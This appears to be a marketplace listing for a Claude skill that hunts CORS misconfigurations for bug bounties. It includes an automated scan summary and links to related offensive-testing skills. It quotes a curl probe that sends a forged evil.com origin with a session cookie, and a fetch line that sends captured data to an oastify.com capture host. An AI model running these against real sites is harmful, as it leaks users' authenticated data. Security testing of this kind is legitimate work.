hunt-cors
Hunt CORS Misconfiguration — origin-reflection with credentials, null-origin trust, subdomain-regex bypass (unanchored vs unescaped-dot vs prefix-only),…
Testing what is locked and what isn’t
What it does
HUNT-CORS — Cross-Origin Resource Sharing Misconfiguration
Use when testing API endpoints, SPAs, o
You don’t need to name it. Ask for the job in your own words — your AI loads the skill when the request matches.
What it can touch
No script files in its folder
Its folder holds text, not programs — but the instructions do tell your AI to run commands (see below).
How we know
Listed the one file in the skill’s folder on GitHub; none is a script or program.
Mentions 8 outside web addresses
The instructions point your AI at these sites or APIs. Anything it sends there leaves your computer.
How we know
Web addresses in the SKILL.md, excluding GitHub and documentation sites: evil.com, evil.target.com, eviltarget.com, oob-id.oastify.com, target.com….
Installs other software
Following it will install packages (npm, pip, brew or similar). Those come from their own publishers, not from this skill.
How we know
The SKILL.md contains package-install commands.
Contacts a server used for security testing and data capture
Anything sent there leaves your computer.
How we know
SKILL.md line 185 (and 1 more in that file): “// OOB proof: fetch("https://OOB-ID.oastify.com/?d="+encodeURIComponent(d));”. Read 2026-10-05, commit 381ac1e.
SKILL.md, line 185 ↗Its code sends data over the internet
A script in it uploads or posts data. That is normal for a skill that talks to a service — check that the address is the service you expect.
How we know
SKILL.md line 72 (and 4 more in that file): “result=$(curl -s -D - -o /dev/null "$url" -H "Origin: https://evil.com" -H "Cookie: $SESSION_COOKIE" | grep -i "access-control")”. Read 2026-10-05, commit 381ac1e.
SKILL.md, line 72 ↗Recently maintained
Its repository has had changes recently.
How we know
Last push to elementalsouls/Claude-BugHunter: 2026-10-04 (1 days before the scan).
Read automatically from the skill’s own files on GitHub on 5 Oct 2026. Launch7 does not run or manually review skills: this lists what the check saw, and nothing here means “safe”. How we check
Add it to your AI
Supported. Upload it once in Claude’s settings. Works on every plan, including Free.
Built in your browser from the SKILL.md on GitHub — nothing passes through Launch7.
In Claude, open Customize → Skills, press +, then Create skill → Upload a skill, and choose the .zip.
Make sure code execution is switched on (Settings → Capabilities). Skills need it.
Start a new chat and ask for the job in your own words — Claude picks the skill up when it fits.
How Claude does this: support.claude.com · checked 28 Sep 2026 · “Supported” means documented by the vendor; Launch7 has not run it end to end
More from elementalsouls
All from this publisher →- bugcrowd-reporting
Bugcrowd-specific reporting tactics complementing report-writing: VRT category search-and-fallback strategy when no exact match exists, manual severity…
- enterprise-vpn-attack
External SSL VPN / remote-access appliance attack matrix — Cisco ASA/AnyConnect, Fortinet FortiGate/FortiOS, Citrix NetScaler/ADC, Palo Alto…
- evidence-hygiene
Evidence-capture and PoC-redaction discipline for bug-bounty submissions: cookie redaction protocol (which fields to mask, Preview…
- hunt-api-misconfig
Hunt API security misconfiguration — mass assignment, prototype pollution, HTTP verb tampering.
- hunt-aspnet
Hunt ASP.NET-specific surface — ViewState deserialization (signed-only vs encrypted), machineKey recovery, dual-parser MAC-bypass…
